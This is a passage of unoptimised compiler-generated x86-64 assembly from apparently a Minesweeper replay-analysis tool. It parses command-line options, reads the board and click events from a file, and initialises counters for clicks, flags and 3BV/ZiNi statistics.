LBB48_15: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl -36(%rbp), %ecx
movb %al, -42(%rbp) ## 1-byte Spill
jge LBB48_17
## %bb.16: ## in Loop: Header=BB48_15 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isdigit
cmpl $0, %eax
setne %al
movb %al, -42(%rbp) ## 1-byte Spill
LBB48_17: ## in Loop: Header=BB48_15 Depth=1
movb -42(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB48_18
jmp LBB48_19
LBB48_18: ## in Loop: Header=BB48_15 Depth=1
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -16(%rbp), %rax
movl -28(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -28(%rbp)
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
cvtsi2sd %eax, %xmm1
movsd LCPI48_1(%rip), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd LCPI48_0(%rip), %xmm1 ## xmm1 = mem[0],zero
subsd %xmm1, %xmm0
movsd %xmm0, -24(%rbp)
imull $10, -40(%rbp), %eax
movl %eax, -40(%rbp)
jmp LBB48_15
LBB48_19:
cmpl $0, -32(%rbp)
je LBB48_21
## %bb.20:
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -24(%rbp)
LBB48_21:
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsi2sdl -40(%rbp), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -8(%rbp)
LBB48_22:
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI49_0:
.quad 0x408f400000000000 ## double 1000
LCPI49_2:
.quad 0x40c3880000000000 ## double 1.0E+4
LCPI49_3:
.quad 0x3f50624dd2f1a9fc ## double 0.001
LCPI49_4:
.quad 0xbf50624dd2f1a9fc ## double -0.001
.section __TEXT,__literal4,4byte_literals
.p2align 2
LCPI49_1:
.long 0x461c4000 ## float 1.0E+4
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2000, %rsp ## imm = 0x7D0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -1732(%rbp)
movl %edi, -1736(%rbp)
movq %rsi, -1744(%rbp)
movl $0, -1764(%rbp)
cmpl $2, -1736(%rbp)
jge LBB49_2
## %bb.1:
leaq L_.str.14(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.15(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.16(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.17(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.18(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.19(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.20(%rip), %rdi
movb $0, %al
callq _printf
movl $2, -1732(%rbp)
jmp LBB49_287
LBB49_2:
movl $0, _no_board_events(%rip)
movl $0, _no_zini(%rip)
movq -1744(%rbp), %rax
movq 8(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
sete %al
movb %al, %cl
andb $1, %cl
movzbl %cl, %ecx
movl %ecx, -1760(%rbp)
testb $1, %al
jne LBB49_3
jmp LBB49_21
LBB49_3:
movq -1744(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -1776(%rbp)
LBB49_4: ## =>This Inner Loop Header: Depth=1
movq -1776(%rbp), %rax
cmpb $0, (%rax)
je LBB49_20
## %bb.5: ## in Loop: Header=BB49_4 Depth=1
movq -1776(%rbp), %rax
movsbl (%rax), %eax
cmpl $101, %eax
jne LBB49_7
## %bb.6: ## in Loop: Header=BB49_4 Depth=1
movl $1, _no_board_events(%rip)
jmp LBB49_19
LBB49_7: ## in Loop: Header=BB49_4 Depth=1
movq -1776(%rbp), %rax
movsbl (%rax), %eax
cmpl $105, %eax
jne LBB49_9
## %bb.8: ## in Loop: Header=BB49_4 Depth=1
movl $1, _no_check_info(%rip)
jmp LBB49_18
LBB49_9: ## in Loop: Header=BB49_4 Depth=1
movq -1776(%rbp), %rax
movsbl (%rax), %eax
cmpl $122, %eax
jne LBB49_11
## %bb.10: ## in Loop: Header=BB49_4 Depth=1
movl $1, _no_zini(%rip)
jmp LBB49_17
LBB49_11: ## in Loop: Header=BB49_4 Depth=1
movq -1776(%rbp), %rax
movsbl (%rax), %eax
cmpl $114, %eax
jne LBB49_13
## %bb.12: ## in Loop: Header=BB49_4 Depth=1
movl $0, _no_rilian_clicks(%rip)
jmp LBB49_16
LBB49_13: ## in Loop: Header=BB49_4 Depth=1
movq -1776(%rbp), %rax
movsbl (%rax), %eax
cmpl $115, %eax
jne LBB49_15
## %bb.14: ## in Loop: Header=BB49_4 Depth=1
movl $1, -1764(%rbp)
LBB49_15: ## in Loop: Header=BB49_4 Depth=1
jmp LBB49_16
LBB49_16: ## in Loop: Header=BB49_4 Depth=1
jmp LBB49_17
LBB49_17: ## in Loop: Header=BB49_4 Depth=1
jmp LBB49_18
LBB49_18: ## in Loop: Header=BB49_4 Depth=1
jmp LBB49_19
LBB49_19: ## in Loop: Header=BB49_4 Depth=1
movq -1776(%rbp), %rax
addq $1, %rax
movq %rax, -1776(%rbp)
jmp LBB49_4
LBB49_20:
jmp LBB49_21
LBB49_21:
cmpl $0, -1764(%rbp)
je LBB49_23
## %bb.22:
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rcx
movq _input@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
jmp LBB49_32
LBB49_23:
movq -1744(%rbp), %rax
movq %rax, -1936(%rbp) ## 8-byte Spill
movl -1736(%rbp), %eax
movl -1760(%rbp), %ecx
addl $3, %ecx
cmpl %ecx, %eax
jl LBB49_25
## %bb.24:
movl -1736(%rbp), %eax
subl $2, %eax
movl %eax, -1940(%rbp) ## 4-byte Spill
jmp LBB49_26
LBB49_25:
movl -1736(%rbp), %eax
subl $1, %eax
movl %eax, -1940(%rbp) ## 4-byte Spill
LBB49_26:
movq -1936(%rbp), %rax ## 8-byte Reload
movl -1940(%rbp), %ecx ## 4-byte Reload
movslq %ecx, %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.21(%rip), %rsi
callq _fopen
movq %rax, %rcx
movq _input@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _input@GOTPCREL(%rip), %rax
cmpq $0, (%rax)
jne LBB49_31
## %bb.27:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -1960(%rbp) ## 8-byte Spill
movq -1744(%rbp), %rax
movq %rax, -1952(%rbp) ## 8-byte Spill
movl -1736(%rbp), %eax
movl -1760(%rbp), %ecx
addl $3, %ecx
cmpl %ecx, %eax
jl LBB49_29
## %bb.28:
movl -1736(%rbp), %eax
subl $2, %eax
movl %eax, -1964(%rbp) ## 4-byte Spill
jmp LBB49_30
LBB49_29:
movl -1736(%rbp), %eax
subl $1, %eax
movl %eax, -1964(%rbp) ## 4-byte Spill
LBB49_30:
movq -1960(%rbp), %rdi ## 8-byte Reload
movq -1952(%rbp), %rax ## 8-byte Reload
movl -1964(%rbp), %ecx ## 4-byte Reload
movslq %ecx, %rcx
movq (%rax,%rcx,8), %rdx
leaq L_.str.22(%rip), %rsi
movb $0, %al
callq _fprintf
movl $3, -1732(%rbp)
jmp LBB49_287
LBB49_31:
jmp LBB49_32
LBB49_32:
movl -1736(%rbp), %eax
movl -1760(%rbp), %ecx
addl $3, %ecx
cmpl %ecx, %eax
jl LBB49_36
## %bb.33:
movq -1744(%rbp), %rax
movl -1736(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.23(%rip), %rsi
callq _fopen
movq %rax, %rcx
movq _output@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _output@GOTPCREL(%rip), %rax
cmpq $0, (%rax)
jne LBB49_35
## %bb.34:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -1744(%rbp), %rax
movl -1736(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movq (%rax,%rcx,8), %rdx
leaq L_.str.24(%rip), %rsi
movb $0, %al
callq _fprintf
movl $4, -1732(%rbp)
jmp LBB49_287
LBB49_35:
jmp LBB49_37
LBB49_36:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rcx
movq _output@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
LBB49_37:
movq _superflag@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _superclick@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _nono@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _elmar@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _qm@GOTPCREL(%rip), %rax
movl $0, (%rax)
leaq -352(%rbp), %rdi
leaq l___const.main.info(%rip), %rsi
movl $336, %edx ## imm = 0x150
callq _memcpy
movl $42, -1780(%rbp)
leaq -1552(%rbp), %rdi
leaq l___const.main.int_info(%rip), %rsi
movl $168, %edx
callq _memcpy
movl $8, -1784(%rbp)
movl $8, -1788(%rbp)
movl $10, -1792(%rbp)
movl $1, -1796(%rbp)
movl $1, -1800(%rbp)
movl $16, -1804(%rbp)
movl $0, -1808(%rbp)
movl $0, -1748(%rbp)
LBB49_38: ## =>This Inner Loop Header: Depth=1
cmpl $42, -1748(%rbp)
jge LBB49_41
## %bb.39: ## in Loop: Header=BB49_38 Depth=1
movslq -1748(%rbp), %rax
movl $0, -528(%rbp,%rax,4)
## %bb.40: ## in Loop: Header=BB49_38 Depth=1
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_38
LBB49_41:
movl $0, -1748(%rbp)
LBB49_42: ## =>This Inner Loop Header: Depth=1
cmpl $42, -1748(%rbp)
jge LBB49_45
## %bb.43: ## in Loop: Header=BB49_42 Depth=1
cmpl $0, _no_zini(%rip)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %ecx
movslq -1748(%rbp), %rax
movl %ecx, -1728(%rbp,%rax,4)
## %bb.44: ## in Loop: Header=BB49_42 Depth=1
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_42
LBB49_45:
movl $0, -1748(%rbp)
LBB49_46: ## =>This Inner Loop Header: Depth=1
cmpl $1000, -1748(%rbp) ## imm = 0x3E8
jge LBB49_49
## %bb.47: ## in Loop: Header=BB49_46 Depth=1
movslq -1748(%rbp), %rcx
movq _size_ops@GOTPCREL(%rip), %rax
movl $0, (%rax,%rcx,4)
## %bb.48: ## in Loop: Header=BB49_46 Depth=1
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_46
LBB49_49:
movl $0, -1748(%rbp)
LBB49_50: ## =>This Inner Loop Header: Depth=1
cmpl $1000, -1748(%rbp) ## imm = 0x3E8
jge LBB49_53
## %bb.51: ## in Loop: Header=BB49_50 Depth=1
movslq -1748(%rbp), %rcx
movq _size_isls@GOTPCREL(%rip), %rax
movl $0, (%rax,%rcx,4)
## %bb.52: ## in Loop: Header=BB49_50 Depth=1
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_50
LBB49_53:
jmp LBB49_54
LBB49_54: ## =>This Loop Header: Depth=1
## Child Loop BB49_82 Depth 2
movl $0, -1812(%rbp)
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _ftell
movq %rax, -1824(%rbp)
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movq _event@GOTPCREL(%rip), %rdi
movl $1000, %esi ## imm = 0x3E8
callq _fgets
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _feof
cmpl $0, %eax
je LBB49_56
## %bb.55: ## in Loop: Header=BB49_54 Depth=1
leaq L_.str.67(%rip), %rdi
callq _error
LBB49_56: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.68(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_58
## %bb.57:
jmp LBB49_95
LBB49_58: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.69(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_60
## %bb.59: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
addq $6, %rdi
callq _atoi
movl %eax, %ecx
movq _w@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
jmp LBB49_93
LBB49_60: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.70(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_62
## %bb.61: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
addq $7, %rdi
callq _atoi
movl %eax, %ecx
movq _h@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
jmp LBB49_92
LBB49_62: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.71(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_64
## %bb.63: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
addq $6, %rdi
callq _atoi
movl %eax, %ecx
movq _m@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
jmp LBB49_91
LBB49_64: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.72(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_66
## %bb.65: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
addq $6, %rdi
leaq L_.str.73(%rip), %rsi
callq _valeq
movl %eax, %ecx
movq _qm@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
jmp LBB49_90
LBB49_66: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.74(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_79
## %bb.67: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rax
addq $6, %rax
movq %rax, -1832(%rbp)
movq -1832(%rbp), %rdi
leaq L_.str.75(%rip), %rsi
callq _valeq
cmpl $0, %eax
je LBB49_69
## %bb.68: ## in Loop: Header=BB49_54 Depth=1
leaq L_.str.76(%rip), %rdi
callq _error
jmp LBB49_78
LBB49_69: ## in Loop: Header=BB49_54 Depth=1
movq -1832(%rbp), %rdi
leaq L_.str.77(%rip), %rsi
callq _valeq
cmpl $0, %eax
je LBB49_71
## %bb.70: ## in Loop: Header=BB49_54 Depth=1
movl $8, -1788(%rbp)
movl $8, -1784(%rbp)
movl $10, -1792(%rbp)
jmp LBB49_77
LBB49_71: ## in Loop: Header=BB49_54 Depth=1
movq -1832(%rbp), %rdi
leaq L_.str.78(%rip), %rsi
callq _valeq
cmpl $0, %eax
je LBB49_73
## %bb.72: ## in Loop: Header=BB49_54 Depth=1
movl $16, -1788(%rbp)
movl $16, -1784(%rbp)
movl $40, -1792(%rbp)
jmp LBB49_76
LBB49_73: ## in Loop: Header=BB49_54 Depth=1
movq -1832(%rbp), %rdi
leaq L_.str.79(%rip), %rsi
callq _valeq
cmpl $0, %eax
je LBB49_75
## %bb.74: ## in Loop: Header=BB49_54 Depth=1
movl $30, -1784(%rbp)
movl $16, -1788(%rbp)
movl $99, -1792(%rbp)
LBB49_75: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_76
LBB49_76: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_77
LBB49_77: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_78
LBB49_78: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_89
LBB49_79: ## in Loop: Header=BB49_54 Depth=1
movq _event@GOTPCREL(%rip), %rdi
leaq L_.str.80(%rip), %rsi
callq _opteq
cmpl $0, %eax
je LBB49_81
## %bb.80: ## in Loop: Header=BB49_54 Depth=1
movl $0, -1800(%rbp)
movq _event@GOTPCREL(%rip), %rdi
addq $5, %rdi
leaq L_.str.81(%rip), %rsi
callq _valeq
movl %eax, -1796(%rbp)
jmp LBB49_88
LBB49_81: ## in Loop: Header=BB49_54 Depth=1
movl $0, -1748(%rbp)
LBB49_82: ## Parent Loop BB49_54 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $42, -1748(%rbp)
jge LBB49_87
## %bb.83: ## in Loop: Header=BB49_82 Depth=2
movslq -1748(%rbp), %rax
movq -352(%rbp,%rax,8), %rsi
movq _event@GOTPCREL(%rip), %rdi
callq _opteq
cmpl $0, %eax
je LBB49_85
## %bb.84: ## in Loop: Header=BB49_54 Depth=1
movslq -1748(%rbp), %rax
movl $1, -528(%rbp,%rax,4)
movq -1824(%rbp), %rax
movq %rax, -1976(%rbp) ## 8-byte Spill
movslq -1748(%rbp), %rax
movq -352(%rbp,%rax,8), %rdi
callq _strlen
movq -1976(%rbp), %rcx ## 8-byte Reload
addq %rax, %rcx
addq $1, %rcx
movslq -1748(%rbp), %rax
movq %rcx, -864(%rbp,%rax,8)
movl $1, -1812(%rbp)
jmp LBB49_87
LBB49_85: ## in Loop: Header=BB49_82 Depth=2
jmp LBB49_86
LBB49_86: ## in Loop: Header=BB49_82 Depth=2
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_82
LBB49_87: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_88
LBB49_88: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_89
LBB49_89: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_90
LBB49_90: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_91
LBB49_91: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_92
LBB49_92: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_93
LBB49_93: ## in Loop: Header=BB49_54 Depth=1
jmp LBB49_94
LBB49_94: ## in Loop: Header=BB49_54 Depth=1
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rsi
movq _event@GOTPCREL(%rip), %rdi
callq _fputs
jmp LBB49_54
LBB49_95:
movq _w@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
movq _size@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
cltq
imulq $56, %rax, %rdi
callq _malloc
movq %rax, %rcx
movq _board@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movl $0, -1748(%rbp)
LBB49_96: ## =>This Inner Loop Header: Depth=1
cmpl $42, -1748(%rbp)
jge LBB49_101
## %bb.97: ## in Loop: Header=BB49_96 Depth=1
movslq -1748(%rbp), %rax
cmpl $0, -528(%rbp,%rax,4)
jne LBB49_99
## %bb.98: ## in Loop: Header=BB49_96 Depth=1
movslq -1748(%rbp), %rax
movq -352(%rbp,%rax,8), %rdi
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rsi
callq _fputs
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _ftell
movq %rax, %rcx
addq $2, %rcx
movslq -1748(%rbp), %rax
movq %rcx, -864(%rbp,%rax,8)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.82(%rip), %rdi
callq _fputs
LBB49_99: ## in Loop: Header=BB49_96 Depth=1
jmp LBB49_100
LBB49_100: ## in Loop: Header=BB49_96 Depth=1
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_96
LBB49_101:
callq _clearboard
movl $0, -1752(%rbp)
LBB49_102: ## =>This Loop Header: Depth=1
## Child Loop BB49_104 Depth 2
movl -1752(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB49_109
## %bb.103: ## in Loop: Header=BB49_102 Depth=1
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movq _event@GOTPCREL(%rip), %rdi
movl $1000, %esi ## imm = 0x3E8
callq _fgets
movl $0, -1756(%rbp)
LBB49_104: ## Parent Loop BB49_102 Depth=1
## => This Inner Loop Header: Depth=2
movl -1756(%rbp), %eax
movq _w@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB49_107
## %bb.105: ## in Loop: Header=BB49_104 Depth=2
movslq -1756(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $42, %eax
sete %al
andb $1, %al
movzbl %al, %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -1756(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -1752(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
## %bb.106: ## in Loop: Header=BB49_104 Depth=2
movl -1756(%rbp), %eax
addl $1, %eax
movl %eax, -1756(%rbp)
jmp LBB49_104
LBB49_107: ## in Loop: Header=BB49_102 Depth=1
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rsi
movq _event@GOTPCREL(%rip), %rdi
callq _fputs
## %bb.108: ## in Loop: Header=BB49_102 Depth=1
movl -1752(%rbp), %eax
addl $1, %eax
movl %eax, -1752(%rbp)
jmp LBB49_102
LBB49_109:
callq _init_board
callq _calc_bbbv
cmpl $0, _no_zini(%rip)
jne LBB49_111
## %bb.110:
callq _calc_zini
LBB49_111:
movq _rilian_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _misunflags@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _misflags@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _unflags@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _wasted_flags@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _flags@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _wasted_clicks_15@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _clicks_15@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _wasted_d_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _wasted_r_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _wasted_l_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _d_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _r_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _l_clicks@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _distance@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _onedotfive@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _chorded@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _shift_left@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _middle@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _right@GOTPCREL(%rip), %rax
movl $0, (%rax)
movq _left@GOTPCREL(%rip), %rax
movl $0, (%rax)
LBB49_112: ## =>This Loop Header: Depth=1
## Child Loop BB49_141 Depth 2
## Child Loop BB49_148 Depth 2
## Child Loop BB49_153 Depth 2
## Child Loop BB49_223 Depth 2
## Child Loop BB49_228 Depth 2
## Child Loop BB49_233 Depth 2
## Child Loop BB49_238 Depth 2
## Child Loop BB49_243 Depth 2
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movq _event@GOTPCREL(%rip), %rdi
movl $1000, %esi ## imm = 0x3E8
callq _fgets
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _feof
cmpl $0, %eax
je LBB49_114
## %bb.113:
jmp LBB49_257
LBB49_114: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -1840(%rbp)
movb $1, %al
cmpl $2, -1840(%rbp)
movb %al, -1977(%rbp) ## 1-byte Spill
jle LBB49_120
## %bb.115: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %ecx
movb $1, %al
cmpl $99, %ecx
movb %al, -1977(%rbp) ## 1-byte Spill
je LBB49_120
## %bb.116: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %ecx
movb $1, %al
cmpl $102, %ecx
movb %al, -1977(%rbp) ## 1-byte Spill
je LBB49_120
## %bb.117: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %ecx
movb $1, %al
cmpl $113, %ecx
movb %al, -1977(%rbp) ## 1-byte Spill
je LBB49_120
## %bb.118: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %ecx
movb $1, %al
cmpl $112, %ecx
movb %al, -1977(%rbp) ## 1-byte Spill
je LBB49_120
## %bb.119: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $110, %eax
sete %al
movb %al, -1977(%rbp) ## 1-byte Spill
LBB49_120: ## in Loop: Header=BB49_112 Depth=1
movb -1977(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
movl %eax, -1836(%rbp)
cmpl $0, _no_board_events(%rip)
jne LBB49_123
## %bb.121: ## in Loop: Header=BB49_112 Depth=1
cmpl $0, -1836(%rbp)
je LBB49_123
## %bb.122: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_123: ## in Loop: Header=BB49_112 Depth=1
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rsi
movq _event@GOTPCREL(%rip), %rdi
callq _fputs
cmpl $0, -1836(%rbp)
je LBB49_125
## %bb.124: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_125: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $115, %eax
jne LBB49_127
## %bb.126: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_127: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $119, %eax
jne LBB49_129
## %bb.128: ## in Loop: Header=BB49_112 Depth=1
movl $1, -1808(%rbp)
jmp LBB49_254
LBB49_129: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $98, %eax
jne LBB49_132
## %bb.130: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl 1(%rax), %eax
cmpl $108, %eax
jne LBB49_132
## %bb.131: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_132: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $98, %eax
jne LBB49_135
## %bb.133: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl 1(%rax), %eax
cmpl $111, %eax
jne LBB49_135
## %bb.134: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_135: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $110, %eax
jne LBB49_138
## %bb.136: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl 1(%rax), %eax
cmpl $111, %eax
jne LBB49_138
## %bb.137: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_138: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %edi
callq _isdigit
cmpl $0, %eax
jne LBB49_140
## %bb.139: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB49_250
LBB49_140: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %edx
xorl %eax, %eax
movl $1, %ecx
cmpl $45, %edx
cmovel %ecx, %eax
movl %eax, -1844(%rbp)
movq $0, -1856(%rbp)
movq _cur_time@GOTPCREL(%rip), %rax
movl $0, (%rax)
LBB49_141: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $46, %ecx
movb %al, -1978(%rbp) ## 1-byte Spill
je LBB49_143
## %bb.142: ## in Loop: Header=BB49_141 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1978(%rbp) ## 1-byte Spill
LBB49_143: ## in Loop: Header=BB49_141 Depth=2
movb -1978(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_144
jmp LBB49_145
LBB49_144: ## in Loop: Header=BB49_141 Depth=2
